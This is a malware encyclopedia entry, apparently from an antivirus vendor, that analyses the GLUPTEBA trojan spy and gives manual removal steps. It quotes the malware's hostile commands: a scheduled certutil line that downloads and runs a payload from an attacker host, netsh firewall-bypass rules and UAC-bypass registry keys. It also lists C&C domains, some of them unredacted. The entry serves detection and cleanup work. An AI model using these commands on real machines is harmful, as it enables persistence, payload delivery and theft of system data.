TrojanSpy.Win32.GLUPTEBA.A

September 03, 2019

Modified by: Earle Maui Earnshaw

ALIASES:

Trojan-Downloader.Win32.Bandit.gso (Kaspersky); Trojan:Win32/Skeeyah.A!MTB (Microsoft)

PLATFORM:

Windows

OVERALL RISK RATING:

DAMAGE POTENTIAL:

DISTRIBUTION POTENTIAL:

REPORTED INFECTION:

INFORMATION EXPOSURE:

Threat Type: Trojan Spy
Destructiveness: No
Encrypted:
In the wild: Yes

OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to a website to send and receive information.

TECHNICAL DETAILS

File Size: 5,185,536 bytes

File Type: EXE

Memory Resident: Yes

Initial Samples Received Date: 01 Aug 2019

Payload: Connects to URLs/IPs, Disables services, Hides files and processes

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy drops the following component file(s):

%System%\drivers\Winmon.sys
%System%\drivers\WinmonFS.sys
%System%\drivers\winmonProcessMoitor.sys

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It drops the following copies of itself into the affected system:

%Windows%\rss\csrss.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It creates the following folders:

%Windows%\rss
%User Temp%\csrss

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

Global\h48yorbq6rm87zot
Global\y7ze3fznx1u0yc2z

Autostart Technique

This Trojan Spy adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USERS\Software\Microsoft\
Windows\CurrentVersion\Run
{Random Name} = %Windows%\rss\csrss.exe

Other System Modifications

This Trojan Spy adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
TestApp

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\WinmonFS\Instances

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\WinmonFS\Instances\
WinmonFS

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows% = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\rss = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\EpicNet = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\csrss = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\{Random String} = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\wup = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%System%\drivers = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
csrss.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
cloudnet.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
{malware filename}.exe = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Name = {Random name}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Firewall = {String}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Defender = {String}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Servers = https://{BLOCKED}ontrol.com, https://{BLOCKED}acon.com, https://{BLOCKED}mpirebuild.com

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
UUID = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Command = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
FirstInstallDate = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
ServiceVersion = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PGDSE = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
SC = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
VC = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PGDSE = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
ServersVersion = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CDN = http://{BLOCKED}t.xyz

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PP = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSCaption = {Infected machine OS version}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSArchitecture = {32 or 64 bit}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
IsAdmin = {1 or 0, checks if file was run as admin}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
AV = {string}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CPU = {CPU information}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
GPU = {GPU information}

Backdoor Routine

This Trojan Spy connects to the following websites to send and receive information:

https://{BLOCKED}ontrol.com/api/install-failure
https://{BLOCKED}ontrol.com/api/parent-processes
https://{BLOCKED}ontrol.com/api/log
https:/{BLOCKED}control.com/api/register
https:/{BLOCKED}control.com/api/log2
https://{BLOCKED}ontrol.com/api/poll
https://{BLOCKED}ontrol.com/bots/update-data
https://{BLOCKED}ontrol.com/bots/report-install

It posts the following information to its command and control (C&C) server:

MAC Address
Installed Version of the Malware
Malware Filename in the system
Installed OS
System Architecture
CPU information
GPU information
Installed AV products
If user is Admin
Used Exploit techniques in the system
Firewall information
Windows Defender information
Campaign ID
Distributer ID
Build Number
Motherboard Serial Number
Disk Drive Serial Number
Machine GUID
OS install Date
Generated Challenge Number
Default Browser
Running Applications

Download Routine

This Trojan Spy connects to the following URL(s) to download its component file(s):

http://{BLOCKED}t.xyz/app/deps.zip
http://{BLOCKED}t.xyz/app/watchdog.exe
http://{BLOCKED}t.xyz/app/app.exe
http://{BLOCKED}ta.xyz/cl.exe
http://{BLOCKED}ta.xyz/app/vc.exe

It saves the files it downloads using the following names:

%User Temp%\csrss\cloudnet.exe
%User temp%\csrss\vc.exe
%Windows%\windefender.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other Details

This Trojan Spy does the following:

It terminates itself if it detects it is being run in a VMware or VirtualBox environment.
It executes the following commands to bypass Windows Firewall:
- netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%Windows%\rss\csrss.exe" enable=yes
- netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%Application Data%\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes
This malware uses EternalBlue/DoublePulsar components to takes advantage of the following software vulnerabilities to distribute its coinminer component across networks:
- Microsoft Windows SMB Server (MS17-010) Vulnerability
It connects to the following website to download a miner and its configuration file:
- https://{BLOCKED}ontrol.com/bots/check?uuid={UUID}
- https://{BLOCKED}ontrol.com/bots/checkv?uuid={UUID}
The downloaded coinminer component is saved as:
- %User temp%\wup\wup.exe
- %User temp%\wup\wupv.exe
It disables Windows Update services by modifying the following registry entry:
HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
value = Start
data = 4
Checks for the following registries to elevate the privilege of the malware if not present will create the following entries:
- Windows 10: HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command; Value:fodhelper
- Else: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command; Value: CompMgmtLauncher
Accepts the following commands for the dropped copy into the system:
- -uninstall → uninstall the copy of the malware into the system and terminate if found running
- -update → drops update copy of itself into the system
Hides the following processes:
- WinMon
- windefender.exe
- cloudnet.exe
- wup.exe
Stops the following Services:
- PcaSvc
It executes the following commands:
- update
- get_app_name
- is_admin
- process_is_running
- exec
- download
- run
- run-v2
- exit
- update-data
- update-cloudnet
- update-cloudnet-file-url
- stop-wup
- stop-mrt
- notify
- notify-host
- event-exist
- mutex-exist
- registry-get-startup
- verify-signature
- registry-get-startup-signatures
- verify-processes-signatures
- get-unverified-files
- get-stats-wup
- upload-file
- update-service
- get-logfile-proxy
- install
- get-logfile-i2pd
- s
- update-cdn
- discover-electrum
- discover-blockchain
It terminates itself if it detects that an AV product is running
Tries to delete the following:
- %System%\bcdedit.exe

It adds the following scheduled tasks:

Task Name: csrss
Schedule: At log on of any user
Task to be run: %Windows%\rss\csrss.exe
Task Name: ScheduledUpdate
Schedule: At log on of any user
Task to be run: cmd.exe /C certutil.exe -rulcache -split -f http://{BLOCKED}t.xyz/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340

SOLUTION

Minimum Scan Engine: 9.850

FIRST VSAPI PATTERN FILE: 15.340.05

FIRST VSAPI PATTERN DATE: 02 Sep 2019

VSAPI OPR PATTERN File: 15.341.00

VSAPI OPR PATTERN Date: 03 Sep 2019

Step 1

Trend Micro products with the XGen technology detect this malware as

[ Learn More ]

Troj.Win32.TRX.XXPE50FFF031

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Deleting Scheduled Tasks

For Windows Vista, Windows 7, Windows Server 2008 (R2), Windows 8, Windows 8.1, Windows 10, and Windows Server 2012 (R2):

Open the Windows Task Scheduler. To do this:
• On Windows 7 and Windows Server 2008 (R2), click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, Windows 10 and Windows Server 2012 (R2), right-click on the lower-left corner of the screen, click Run, type taskschd.msc, then press Enter.
In the left panel, click Task Scheduler Library.
In the upper-middle panel, locate each task that has the value in the Triggers column:
Task Name: csrss<br/>Schedule: At log on of any user<br/>Task to be run: %Windows%\rss\csrss.exe
Task Name: ScheduledUpdate<br/>Schedule: At log on of any user<br/>Task to be run: cmd.exe /C certutil.exe -rulcache -split -f http://beguest.xyz/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe
In the lower-middle panel, click the Actions tab. In the Details column, check for the following string:
Cmd /c /rd /s /q C:
If the said string is found, delete the task..

Step 6

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- {Random Name} = %Windows%\rss\csrss.exe

Step 7

Delete this registry key

[ Learn More ]

HKEY_CURRENT_USER\Software\Microsoft\TestApp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinmonFS\Instances
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinmonFS\Instances\WinmonFS

Step 8

Delete this registry value

[ Learn More ]

In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
- %Windows% = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
- %Windows%\rss = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
- %Application Data%\EpicNet = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
- %User Temp%\csrss = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
- %Application Data%\{Random String} = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
- %Windows%\windefender.exe = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
- %User Temp%\wup = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
- %System%\drivers = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
- csrss.exe = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
- cloudnet.exe = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
- windefender.exe = 0
In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
- {malware filename}.exe = 0
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- Name = {Random name}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- Firewall = {String}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- Defender = {String}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- Servers = https://venoxcontrol.com, https://okonewacon.com, https://blackempirebuild.com
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- UUID = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- Command = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- FirstInstallDate = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- ServiceVersion = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- PGDSE = 0
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- SC = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- VC = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- PGDSE = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- ServersVersion = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- CDN = http://beguest.xyz
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- PP = {value}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- OSCaption = {Infected machine OS version}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- OSArchitecture = {32 or 64 bit}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- IsAdmin = {1 or 0, checks if file was run as admin}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- AV = {string}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- CPU = {CPU information}
In HKEY_CURRENT_USER\Software\Microsoft\TestApp
- GPU = {GPU information}

To delete the registry value this malware/grayware created:

Open Registry Editor.
» For Windows 7 and Windows Server 2008 (R2) users, click the Start button, type regedit in the Search input field then press Enter.
» For Windows 8, Windows 8.1, Windows 10, and Windows Server 2012 (R2) users, right-click on the lower-left corner of the screen, click Run, type regedit in the text box provided, and then press Enter.
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows Defender>Exclusions>Paths
In the right panel, locate and delete the entry:
%Windows% = 0
Again In the right panel, locate and delete the entry:
%Windows%\rss = 0
Again In the right panel, locate and delete the entry:
%Application Data%\EpicNet = 0
Again In the right panel, locate and delete the entry:
%User Temp%\csrss = 0
Again In the right panel, locate and delete the entry:
%Application Data%\{Random String} = 0
Again In the right panel, locate and delete the entry:
%Windows%\windefender.exe = 0
Again In the right panel, locate and delete the entry:
%User Temp%\wup = 0
Again In the right panel, locate and delete the entry:
%System%\drivers = 0
In the left panel, double-click the following:
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows Defender>Exclusions>Processes
In the right panel, locate and delete the entry:
csrss.exe = 0
Again In the right panel, locate and delete the entry:
cloudnet.exe = 0
Again In the right panel, locate and delete the entry:
windefender.exe = 0
Again In the right panel, locate and delete the entry:
{malware filename}.exe = 0
In the left panel, double-click the following:
HKEY_CURRENT_USER>Software>Microsoft>TestApp
In the right panel, locate and delete the entry:
Name = {Random name}
Again In the right panel, locate and delete the entry:
Firewall = {String}
Again In the right panel, locate and delete the entry:
Defender = {String}
Again In the right panel, locate and delete the entry:
Servers = https://venoxcontrol.com, https://okonewacon.com, https://blackempirebuild.com
Again In the right panel, locate and delete the entry:
UUID = {value}
Again In the right panel, locate and delete the entry:
Command = {value}
Again In the right panel, locate and delete the entry:
FirstInstallDate = {value}
Again In the right panel, locate and delete the entry:
ServiceVersion = {value}
Again In the right panel, locate and delete the entry:
PGDSE = 0
Again In the right panel, locate and delete the entry:
SC = {value}
Again In the right panel, locate and delete the entry:
VC = {value}
Again In the right panel, locate and delete the entry:
PGDSE = {value}
Again In the right panel, locate and delete the entry:
ServersVersion = {value}
Again In the right panel, locate and delete the entry:
CDN = http://beguest.xyz
Again In the right panel, locate and delete the entry:
PP = {value}
Again In the right panel, locate and delete the entry:
OSCaption = {Infected machine OS version}
Again In the right panel, locate and delete the entry:
OSArchitecture = {32 or 64 bit}
Again In the right panel, locate and delete the entry:
IsAdmin = {1 or 0, checks if file was run as admin}
Again In the right panel, locate and delete the entry:
AV = {string}
Again In the right panel, locate and delete the entry:
CPU = {CPU information}
Again In the right panel, locate and delete the entry:
GPU = {GPU information}
Close Registry Editor.

Step 9

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator’s help. You may also check out this Microsoft article first before modifying your computer's registry.

In HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
- From: Start = 4
  To: Start = (usually 2)

Step 10

Search and delete these folders

[ Learn More ]

Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.

%Windows%\rss
%User Temp%\csrss

Step 11

Search and delete these files

[ Learn More ]

There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.

%System%\drivers\Winmon.sys
%System%\drivers\WinmonFS.sys
%System%\drivers\winmonProcessMoitor.sys
%User Temp%\csrss\cloudnet.exe
%User temp%\csrss\vc.exe
%Windows%\windefender.exe

Step 12

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TrojanSpy.Win32.GLUPTEBA.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 13

Scan your computer with your Trend Micro product to delete files detected as TrojanSpy.Win32.GLUPTEBA.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

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TrojanSpy.Win32.GLUPTEBA.A

OVERVIEW

TECHNICAL DETAILS

SOLUTION

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TrojanSpy.Win32.GLUPTEBA.A

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